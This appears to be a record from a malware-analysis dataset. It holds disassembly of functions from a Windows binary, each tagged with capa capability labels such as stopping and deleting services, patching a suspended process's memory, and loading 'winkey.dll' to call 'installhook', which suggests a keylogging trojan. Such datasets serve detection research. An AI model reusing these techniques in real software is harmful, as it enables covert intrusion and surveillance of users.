joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408478
Capabilities:
Enumerate services
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdbc
xor eax, eax
mov dword [ebp - 0x18], eax
push 0xf003f
push 0
push 0
call sub.ADVAPI32.DLL_OpenSCManagerA
mov dword [ebp - 4], eax
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 3
push 0x30
push dword [ebp - 4]
call sub.ADVAPI32.DLL_EnumServicesStatusA
push dword [ebp - 0x10]
call fcn.004961ec
pop ecx
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push 3
push 0x30
push dword [ebp - 4]
call sub.ADVAPI32.DLL_EnumServicesStatusA
xor edx, edx
mov dword [ebp - 0x1c], edx
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x14]
jae 0x4085ab
push 0x100
push 0
lea eax, [ebp - 0x144]
push eax
call fcn.004966cc
add esp, 0xc
mov edx, dword [ebp - 0x1c]
lea edx, [edx + edx*8]
mov ecx, dword [ebp - 0xc]
push dword [ecx + edx*4]
lea eax, [ebp - 0x244]
push eax
call fcn.0049684c
add esp, 8
xor edx, edx
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x24]
movsx eax, byte [ebp + ecx - 0x244]
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
call fcn.0049cb28
pop ecx
mov edx, dword [ebp - 0x24]
mov byte [ebp + edx - 0x144], al
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x100
jb 0x408524
lea ecx, [ebp - 0x144]
push ecx
push dword [ebp + 8]
call sub.USER32.DLL_CharLowerA
push eax
call fcn.00496800
add esp, 8
test eax, eax
jne 0x40859c
push 0x20
mov eax, dword [ebp - 0x1c]
lea eax, [eax + eax*8]
mov edx, dword [ebp - 0xc]
push dword [edx + eax*4]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_OpenServiceA
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x44]
push ecx
push 1
push dword [ebp - 8]
call sub.ADVAPI32.DLL_ControlService
push dword [ebp - 8]
call sub.ADVAPI32.DLL_CloseServiceHandle
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x14]
jb 0x4084ee
push dword [ebp - 4]
call sub.ADVAPI32.DLL_CloseServiceHandle
push dword [ebp - 0xc]
call fcn.004961fc
pop ecx
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4085c4
Capabilities:
Enumerate services
Start service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdbc
push 2
push dword [ebp + 8]
call fcn.0040871c
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], eax
push 0xf003f
push 0
push 0
call sub.ADVAPI32.DLL_OpenSCManagerA
mov dword [ebp - 4], eax
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 3
push 0x30
push dword [ebp - 4]
call sub.ADVAPI32.DLL_EnumServicesStatusA
push dword [ebp - 0x10]
call fcn.004961ec
pop ecx
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push 3
push 0x30
push dword [ebp - 4]
call sub.ADVAPI32.DLL_EnumServicesStatusA
xor edx, edx
mov dword [ebp - 0x1c], edx
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x14]
jae 0x408702
push 0x100
push 0
lea eax, [ebp - 0x144]
push eax
call fcn.004966cc
add esp, 0xc
mov edx, dword [ebp - 0x1c]
lea edx, [edx + edx*8]
mov ecx, dword [ebp - 0xc]
push dword [ecx + edx*4]
lea eax, [ebp - 0x244]
push eax
call fcn.0049684c
add esp, 8
xor edx, edx
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x24]
movsx eax, byte [ebp + ecx - 0x244]
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
call fcn.0049cb28
pop ecx
mov edx, dword [ebp - 0x24]
mov byte [ebp + edx - 0x144], al
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x100
jb 0x40867d
lea ecx, [ebp - 0x144]
push ecx
push dword [ebp + 8]
call sub.USER32.DLL_CharLowerA
push eax
call fcn.00496800
add esp, 8
test eax, eax
jne 0x4086f3
push 0x10
mov eax, dword [ebp - 0x1c]
lea eax, [eax + eax*8]
mov edx, dword [ebp - 0xc]
push dword [edx + eax*4]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_OpenServiceA
mov dword [ebp - 8], eax
push 0
push 0
push dword [ebp - 8]
call sub.ADVAPI32.DLL_StartServiceA
push dword [ebp - 8]
call sub.ADVAPI32.DLL_CloseServiceHandle
inc dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x14]
jb 0x408647
push dword [ebp - 4]
call sub.ADVAPI32.DLL_CloseServiceHandle
push dword [ebp - 0xc]
call fcn.004961fc
pop ecx
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40871c
Capabilities:
Enumerate services
Modify service
Query service configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb4
xor eax, eax
mov dword [ebp - 0x18], eax
push 0x400f003f
push 0
push 0
call sub.ADVAPI32.DLL_OpenSCManagerA
mov dword [ebp - 4], eax
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 3
push 0x30
push dword [ebp - 4]
call sub.ADVAPI32.DLL_EnumServicesStatusA
push dword [ebp - 0x10]
call fcn.004961ec
pop ecx
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push 3
push 0x30
push dword [ebp - 4]
call sub.ADVAPI32.DLL_EnumServicesStatusA
xor edx, edx
mov dword [ebp - 0x1c], edx
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x14]
jae 0x4088cc
push 0x100
push 0
lea eax, [ebp - 0x14c]
push eax
call fcn.004966cc
add esp, 0xc
mov edx, dword [ebp - 0x1c]
lea edx, [edx + edx*8]
mov ecx, dword [ebp - 0xc]
push dword [ecx + edx*4]
lea eax, [ebp - 0x24c]
push eax
call fcn.0049684c
add esp, 8
xor edx, edx
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x24]
movsx eax, byte [ebp + ecx - 0x24c]
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
call fcn.0049cb28
pop ecx
mov edx, dword [ebp - 0x24]
mov byte [ebp + edx - 0x14c], al
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x100
jb 0x4087c8
lea ecx, [ebp - 0x14c]
push ecx
push dword [ebp + 8]
call sub.USER32.DLL_CharLowerA
push eax
call fcn.00496800
add esp, 8
test eax, eax
jne 0x4088bd
push 1
mov eax, dword [ebp - 0x1c]
lea eax, [eax + eax*8]
mov edx, dword [ebp - 0xc]
push dword [edx + eax*4]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_OpenServiceA
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x2c]
push ecx
push 0
push 0
push dword [ebp - 8]
call sub.ADVAPI32.DLL_QueryServiceConfigA
push dword [ebp - 0x2c]
call fcn.004961ec
pop ecx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push dword [ebp - 8]
call sub.ADVAPI32.DLL_QueryServiceConfigA
push dword [ebp - 8]
call sub.ADVAPI32.DLL_CloseServiceHandle
push 2
mov edx, dword [ebp - 0x1c]
lea edx, [edx + edx*8]
mov ecx, dword [ebp - 0xc]
push dword [ecx + edx*4]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_OpenServiceA
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x30]
push dword [eax + 0x20]
push 0
mov edx, dword [ebp - 0x30]
push dword [edx + 0x1c]
mov ecx, dword [ebp - 0x30]
push dword [ecx + 0x18]
push 0
mov eax, dword [ebp - 0x30]
push dword [eax + 0x10]
mov edx, dword [ebp - 0x30]
push dword [edx + 0xc]
mov ecx, dword [ebp - 0x30]
push dword [ecx + 8]
push dword [ebp + 0xc]
mov eax, dword [ebp - 0x30]
push dword [eax]
push dword [ebp - 8]
call sub.ADVAPI32.DLL_ChangeServiceConfigA
push dword [ebp - 8]
call sub.ADVAPI32.DLL_CloseServiceHandle
inc dword [ebp - 0x1c]
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x14]
jb 0x408792
push dword [ebp - 4]
call sub.ADVAPI32.DLL_CloseServiceHandle
push dword [ebp - 0xc]
call fcn.004961fc
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x4088e4
Capabilities:
Delete service
Enumerate services
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdbc
xor eax, eax
mov dword [ebp - 0x18], eax
push 0xf003f
push 0
push 0
call sub.ADVAPI32.DLL_OpenSCManagerA
mov dword [ebp - 4], eax
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 3
push 0x30
push dword [ebp - 4]
call sub.ADVAPI32.DLL_EnumServicesStatusA
push dword [ebp - 0x10]
call fcn.004961ec
pop ecx
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push 3
push 0x30
push dword [ebp - 4]
call sub.ADVAPI32.DLL_EnumServicesStatusA
xor edx, edx
mov dword [ebp - 0x1c], edx
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x14]
jae 0x408a43
push 0x100
push 0
lea eax, [ebp - 0x144]
push eax
call fcn.004966cc
add esp, 0xc
mov edx, dword [ebp - 0x1c]
lea edx, [edx + edx*8]
mov ecx, dword [ebp - 0xc]
push dword [ecx + edx*4]
lea eax, [ebp - 0x244]
push eax
call fcn.0049684c
add esp, 8
xor edx, edx
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x24]
movsx eax, byte [ebp + ecx - 0x244]
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
call fcn.0049cb28
pop ecx
mov edx, dword [ebp - 0x24]
mov byte [ebp + edx - 0x144], al
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x100
jb 0x408990
lea ecx, [ebp - 0x144]
push ecx
push dword [ebp + 8]
call sub.USER32.DLL_CharLowerA
push eax
call fcn.00496800
add esp, 8
test eax, eax
jne 0x408a34
push 0x20
mov eax, dword [ebp - 0x1c]
lea eax, [eax + eax*8]
mov edx, dword [ebp - 0xc]
push dword [edx + eax*4]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_OpenServiceA
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x44]
push ecx
push 1
push dword [ebp - 8]
call sub.ADVAPI32.DLL_ControlService
push dword [ebp - 8]
call sub.ADVAPI32.DLL_CloseServiceHandle
push 0x10000
mov eax, dword [ebp - 0x1c]
lea eax, [eax + eax*8]
mov edx, dword [ebp - 0xc]
push dword [edx + eax*4]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_OpenServiceA
mov dword [ebp - 8], eax
push dword [ebp - 8]
call sub.ADVAPI32.DLL_DeleteService
push dword [ebp - 8]
call sub.ADVAPI32.DLL_CloseServiceHandle
inc dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x14]
jb 0x40895a
push dword [ebp - 4]
call sub.ADVAPI32.DLL_CloseServiceHandle
push dword [ebp - 0xc]
call fcn.004961fc
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x40bcfc
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffebc
push ebx
push esi
push edi
mov eax, 0x5c91d0
call fcn.00496be4
mov dword [ebp - 0x1c], 1
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004a4524
inc dword [ebp - 0x1c]
mov word [ebp - 0x28], 8
mov word [ebp - 0x28], 0x14
lea eax, [ebp - 4]
call fcn.00401af8
inc dword [ebp - 0x1c]
mov word [ebp - 0x28], 8
push 0x105
lea edx, [ebp - 0x144]
push edx
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov word [ebp - 0x28], 0x20
lea eax, [ebp - 0x10]
call fcn.00401af8
push eax
inc dword [ebp - 0x1c]
mov edx, str._reg_ent.reg
lea eax, [ebp - 0xc]
call fcn.004a44ec
inc dword [ebp - 0x1c]
lea edx, [ebp - 0xc]
push edx
lea edx, [ebp - 0x144]
lea eax, [ebp - 8]
call fcn.004a44ec
inc dword [ebp - 0x1c]
pop edx
pop ecx
call fcn.004a46e8
lea edx, [ebp - 0x10]
lea eax, [ebp - 4]
call fcn.004a46c0
dec dword [ebp - 0x1c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
mov dl, 1
mov eax, dword [0x480f94]
call fcn.004035d0
mov dword [ebp - 0x3c], eax
mov word [ebp - 0x28], 8
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov word [ebp - 0x28], 0x2c
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
call dword [ecx + 0x64]
mov word [ebp - 0x28], 8
jmp 0x40be4c
push 0
mov word [ebp - 0x28], 0x38
lea eax, [ebp - 0x14]
call fcn.00401af8
mov ecx, eax
inc dword [ebp - 0x1c]
lea edx, [ebp - 4]
mov eax, str.regedit.exe__s
call fcn.004a4ad0
lea eax, [ebp - 0x14]
call fcn.00401b28
push eax
call sub.KERNEL32.DLL_WinExec
cmp eax, 0x20
setg dl
and edx, 1
push edx
dec dword [ebp - 0x1c]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004a4690
pop ecx
test cl, cl
je 0x40becb
mov al, 1
push eax
dec dword [ebp - 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x1c]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a4690
pop eax
mov edx, dword [ebp - 0x38]
mov dword fs:[0], edx
jmp 0x40bef9
xor eax, eax
push eax
dec dword [ebp - 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x1c]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a4690
pop eax
mov edx, dword [ebp - 0x38]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c1bc
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff5c
push 0x9c
push 0
lea eax, [ebp - 0xa4]
push eax
call fcn.004966cc
add esp, 0xc
mov dword [ebp - 0xa4], 0x9c
lea edx, [ebp - 0xa4]
push edx
call sub.KERNEL32.DLL_GetVersionExA
mov dword [ebp - 8], eax
test eax, eax
jne 0x40c21a
mov dword [ebp - 0xa4], 0x94
lea edx, [ebp - 0xa4]
push edx
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
jne 0x40c21a
mov eax, dword [ebp - 4]
jmp 0x40c2cd
mov edx, dword [ebp - 0x94]
sub edx, 1
jb 0x40c2c3
je 0x40c276
dec edx
jne 0x40c2ca
cmp dword [ebp - 0xa0], 4
ja 0x40c242
mov dword [ebp - 4], str.Microsoft_Windows_NT
cmp dword [ebp - 0xa0], 5
jne 0x40c25b
cmp dword [ebp - 0x9c], 0
jne 0x40c25b
mov dword [ebp - 4], str.Microsoft_Windows_2000
cmp dword [ebp - 0xa0], 5
jne 0x40c2ca
cmp dword [ebp - 0x9c], 1
jne 0x40c2ca
mov dword [ebp - 4], str.Microsoft_Windows_XP
jmp 0x40c2ca
cmp dword [ebp - 0xa0], 4
jne 0x40c28f
cmp dword [ebp - 0x9c], 0
jne 0x40c28f
mov dword [ebp - 4], str.Microsoft_Windows_95
cmp dword [ebp - 0xa0], 4
jne 0x40c2a8
cmp dword [ebp - 0x9c], 0xa
jne 0x40c2a8
mov dword [ebp - 4], str.Microsoft_Windows_98
cmp dword [ebp - 0xa0], 4
jne 0x40c2ca
cmp dword [ebp - 0x9c], 0x5a
jne 0x40c2ca
mov dword [ebp - 4], str.Microsoft_Windows_Me
jmp 0x40c2ca
mov dword [ebp - 4], str.Microsoft_Win32s
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40c6b4
Capabilities:
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff74
mov eax, 0x5c9550
call fcn.00496be4
mov dword [ebp - 0x14], 2
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004a4524
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 8
lea edx, [ebp + 8]
lea eax, [ebp + 8]
call fcn.004a4524
inc dword [ebp - 0x14]
mov byte [ebp - 0x31], 0xeb
mov byte [ebp - 0x32], 8
mov dword [ebp - 0x8c], 0x44
xor edx, edx
mov dword [ebp - 0x88], edx
xor ecx, ecx
mov dword [ebp - 0x84], ecx
xor eax, eax
mov dword [ebp - 0x80], eax
xor edx, edx
mov dword [ebp - 0x60], edx
mov word [ebp - 0x5a], 0
xor ecx, ecx
mov dword [ebp - 0x58], ecx
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x8c]
push edx
push 0
push 0
push 4
push 0
push 0
push 0
mov word [ebp - 0x20], 0x14
lea eax, [ebp - 8]
call fcn.00401af8
push eax
inc dword [ebp - 0x14]
mov edx, 0x5c1da8
lea eax, [ebp - 4]
call fcn.004a44ec
inc dword [ebp - 0x14]
lea edx, [ebp - 4]
lea eax, [ebp + 8]
pop ecx
call fcn.004a46e8
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0xc]
call fcn.00401af8
mov ecx, eax
inc dword [ebp - 0x14]
lea edx, [ebp + 0xc]
pop eax
call fcn.004a46e8
lea eax, [ebp - 0xc]
call fcn.00401b28
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop ecx
test ecx, ecx
je 0x40c810
lea eax, [ebp - 0x38]
push eax
push 1
lea edx, [ebp - 0x31]
push edx
push dword [ebp + 0x10]
push dword [ebp - 0x48]
call sub.KERNEL32.DLL_WriteProcessMemory
lea ecx, [ebp - 0x38]
push ecx
push 1
lea eax, [ebp - 0x32]
push eax
mov edx, dword [ebp + 0x10]
inc edx
push edx
push dword [ebp - 0x48]
call sub.KERNEL32.DLL_WriteProcessMemory
push dword [ebp - 0x44]
call sub.KERNEL32.DLL_ResumeThread
push dword [ebp - 0x48]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x44]
call sub.KERNEL32.DLL_CloseHandle
dec dword [ebp - 0x14]
lea eax, [ebp + 8]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x14]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a4690
mov ecx, dword [ebp - 0x30]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x40cd60
Capabilities:
Create pipe
Create process on windows
Create process suspended
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0xf4
add esp, 0xfffff004
push eax
dec eax
jne 0x40cd69
mov eax, dword [ebp - 4]
add esp, 0xfffff928
push ebx
push esi
push edi
mov eax, 0x5c97f4
call fcn.00496be4
mov dword [ebp - 0x14], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.004a4524
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 8
mov word [ebp - 0x20], 0x14
mov word [ebp - 0x20], 0x20
lea eax, [ebp - 4]
call fcn.00401af8
inc dword [ebp - 0x14]
mov word [ebp - 0x20], 0x2c
push 0xc
push 0
lea edx, [ebp - 0x48]
push edx
call fcn.004966cc
add esp, 0xc
mov dword [ebp - 0x48], 0xc
mov dword [ebp - 0x40], 1
push 0
lea ecx, [ebp - 0x48]
push ecx
lea eax, [ebp - 0x38]
push eax
lea edx, [ebp - 0x34]
push edx
call sub.KERNEL32.DLL_CreatePipe
push 0x44
push 0
lea ecx, [ebp - 0x8c]
push ecx
call fcn.004966cc
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x9c]
push eax
call fcn.004966cc
add esp, 0xc
mov dword [ebp - 0x8c], 0x44
mov dword [ebp - 0x60], 0x100
xor edx, edx
mov dword [ebp - 0x54], edx
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x4c], eax
lea eax, [ebp + 0xc]
call fcn.00401b28
push eax
lea edx, [ebp - 0x49c]
push edx
call fcn.0049684c
add esp, 8
lea ecx, [ebp - 0x9c]
push ecx
lea eax, [ebp - 0x8c]
push eax
push 0
push 0
push 0x8000020
push 1
push 0
push 0
lea edx, [ebp - 0x49c]
push edx
push 0
call sub.KERNEL32.DLL_CreateProcessA
push dword [ebp - 0x38]
call sub.KERNEL32.DLL_CloseHandle
mov esi, 0x4cb911
lea edi, [ebp - 0xf46dc]
mov ecx, 0x3d090
rep movsd dword es:[edi], dword [esi]
push 0
lea eax, [ebp - 0x3c]
push eax
push 0xf4240
lea edx, [ebp - 0xf46dc]
push edx
push dword [ebp - 0x34]
call sub.KERNEL32.DLL_ReadFile
mov word [ebp - 0x20], 0x38
lea edx, [ebp - 0xf46dc]
lea eax, [ebp - 8]
call fcn.004a44ec
inc dword [ebp - 0x14]
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.004a46c0
dec dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
push 0x5c1df3
lea ecx, [ebp - 0xf46dc]
push ecx
call fcn.0049684c
add esp, 8
push dword [ebp - 0x34]
call sub.KERNEL32.DLL_CloseHandle
push 0xffffffffffffffff
push dword [ebp - 0x9c]
call sub.KERNEL32.DLL_WaitForSingleObject
push 0xffffffffffffffff
push dword [ebp - 0x98]
call sub.KERNEL32.DLL_WaitForSingleObject
push dword [ebp - 0x98]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x9c]
call sub.KERNEL32.DLL_CloseHandle
mov word [ebp - 0x20], 0x44
lea edx, [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004a46c0
mov eax, dword [ebp + 8]
mov word [ebp - 0x20], 0x50
push eax
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x14]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.004a4690
pop eax
mov word [ebp - 0x20], 0x2c
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x40cff3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40cffc
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
push ebx
push esi
push edi
mov eax, 0x5c98f8
call fcn.00496be4
push 0x104
lea edx, [ebp - 0x14c]
push edx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x5c1e00
mov word [ebp - 0x2c], 8
lea eax, [ebp - 0xc]
call fcn.00401af8
push eax
inc dword [ebp - 0x20]
mov edx, 0x5c1df4
lea eax, [ebp - 8]
call fcn.004a44ec
inc dword [ebp - 0x20]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0x14c]
lea eax, [ebp - 4]
call fcn.004a44ec
inc dword [ebp - 0x20]
pop edx
pop ecx
call fcn.004a46e8
lea eax, [ebp - 0xc]
call fcn.00401b28
push eax
call fcn.00498694
add esp, 8
mov dword [ebp - 0x40], eax
test eax, eax
setne dl
and edx, 1
push edx
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop ecx
test cl, cl
je 0x40d103
xor eax, eax
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 0x40]
inc dword [edx + 8]
jns 0x40d0d9
mov ecx, dword [ebp - 0x40]
mov eax, dword [ecx]
inc dword [ecx]
mov edx, dword [ebp - 0x44]
mov cl, byte [edx + 0x4bc8b8]
mov byte [eax], cl
jmp 0x40d0ee
push dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov dl, byte [eax + 0x4bc8b8]
push edx
call fcn.004981bc
add esp, 8
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x6000
jl 0x40d0bd
push dword [ebp - 0x40]
call fcn.0049832c
pop ecx
lea ecx, [ebp - 0x14c]
push ecx
call sub.KERNEL32.DLL_SetCurrentDirectoryA
mov word [ebp - 0x2c], 0x14
mov word [ebp - 0x2c], 0x20
lea eax, [ebp - 0x18]
call fcn.00401af8
push eax
inc dword [ebp - 0x20]
mov edx, str.winkey.dll
lea eax, [ebp - 0x14]
call fcn.004a44ec
inc dword [ebp - 0x20]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 0x14c]
lea eax, [ebp - 0x10]
call fcn.004a44ec
inc dword [ebp - 0x20]
pop edx
pop ecx
call fcn.004a46e8
lea eax, [ebp - 0x18]
call fcn.00401b28
push eax
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [0x5da508], eax
dec dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x20]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4690
cmp dword [0x5da508], 0
je 0x40d1ce
push str.installhook
push dword [0x5da508]
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x48], eax
mov word [ebp - 0x2c], 0x2c
call dword [ebp - 0x48]
mov word [ebp - 0x2c], 0x14
jmp 0x40d1ce
mov word [ebp - 0x2c], 0
jmp 0x40d1e1
mov ecx, dword [ebp - 0x3c]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d1f4
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
push ebx
push esi
push edi
mov eax, 0x5c99c0
call fcn.00496be4
push 0x104
lea edx, [ebp - 0x14c]
push edx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x5c1e27
mov word [ebp - 0x2c], 8
lea eax, [ebp - 0xc]
call fcn.00401af8
push eax
inc dword [ebp - 0x20]
mov edx, 0x5c1e1b
lea eax, [ebp - 8]
call fcn.004a44ec
inc dword [ebp - 0x20]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0x14c]
lea eax, [ebp - 4]
call fcn.004a44ec
inc dword [ebp - 0x20]
pop edx
pop ecx
call fcn.004a46e8
lea eax, [ebp - 0xc]
call fcn.00401b28
push eax
call fcn.00498694
add esp, 8
mov dword [ebp - 0x40], eax
test eax, eax
setne dl
and edx, 1
push edx
dec dword [ebp - 0x20]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x20]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0x20]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
pop ecx
test cl, cl
je 0x40d2fb
xor eax, eax
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 0x40]
inc dword [edx + 8]
jns 0x40d2d1
mov ecx, dword [ebp - 0x40]
mov eax, dword [ecx]
inc dword [ecx]
mov edx, dword [ebp - 0x44]
mov cl, byte [edx + 0x4c28c8]
mov byte [eax], cl
jmp 0x40d2e6
push dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov dl, byte [eax + 0x4c28c8]
push edx
call fcn.004981bc
add esp, 8
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x9000
jl 0x40d2b5
push dword [ebp - 0x40]
call fcn.0049832c
pop ecx
lea ecx, [ebp - 0x14c]
push ecx
call sub.KERNEL32.DLL_SetCurrentDirectoryA
mov word [ebp - 0x2c], 0x14
mov word [ebp - 0x2c], 0x20
lea eax, [ebp - 0x18]
call fcn.00401af8
push eax
inc dword [ebp - 0x20]
mov edx, 0x5c1e2a
lea eax, [ebp - 0x14]
call fcn.004a44ec
inc dword [ebp - 0x20]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 0x14c]
lea eax, [ebp - 0x10]
call fcn.004a44ec
inc dword [ebp - 0x20]
pop edx
pop ecx
call fcn.004a46e8
